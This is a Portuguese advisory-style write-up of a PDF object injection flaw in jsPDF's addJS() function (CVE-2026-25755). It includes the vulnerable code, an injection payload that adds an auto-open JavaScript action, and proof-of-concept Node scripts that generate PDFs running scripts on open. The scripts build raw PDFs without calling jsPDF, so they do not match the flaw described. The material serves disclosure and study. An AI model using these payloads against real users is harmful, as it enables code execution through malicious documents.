
CVE-2026-25755 Uma vulnerabilidade crítica de Injeção de Objetos PDF no jsPDF permite que atacantes injetem objetos PDF arbitrários por meio da função `addJS()`, possibilitando a bypass da sandbox AcroJS e a execução automática de scripts quando os PDFs são abertos.
Uma vulnerabilidade crítica de Injeção de Objetos PDF (CVE-2026-25755) foi descoberta no jsPDF, uma biblioteca JavaScript amplamente utilizada para gerar documentos PDF em aplicações client-side. A vulnerabilidade existe na função addJS(), permitindo que atacantes injetem objetos PDF arbitrários e contornem as restrições da sandbox AcroJS por meio de sanitização inadequada de entrada.
A função addJS() no jsPDF permite que desenvolvedores incorporem código JavaScript dentro de arquivos PDF gerados. No entanto, antes da versão 4.2.0, a função falhava ao sanitizar adequadamente a entrada do usuário contendo caracteres especiais de sintaxe PDF.
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
A função concatena diretamente a entrada do usuário em fluxos de objetos PDF sem escapar:
()\Isso permite que atacantes fechem prematuramente o contexto da string JavaScript e injetem objetos PDF arbitrários.
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
Ponto de injeção - contexto da string escapado
| Etapa | Ação | Resultado |
|---|---|---|
| 1 | ) fecha a string /JS original | Contexto da string terminado |
| 2 | >> fecha o objeto PDF atual | Estrutura do objeto quebrada |
| 3 | /AA << /Open << ... | Novo dicionário de ação injetado |
| 4 | Objetos PDF arbitrários adicionados | Injeção completa de objetos alcançada |
Crie um arquivo chamado exploit.js e escreva o seguinte nele
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
Execute node exploit.js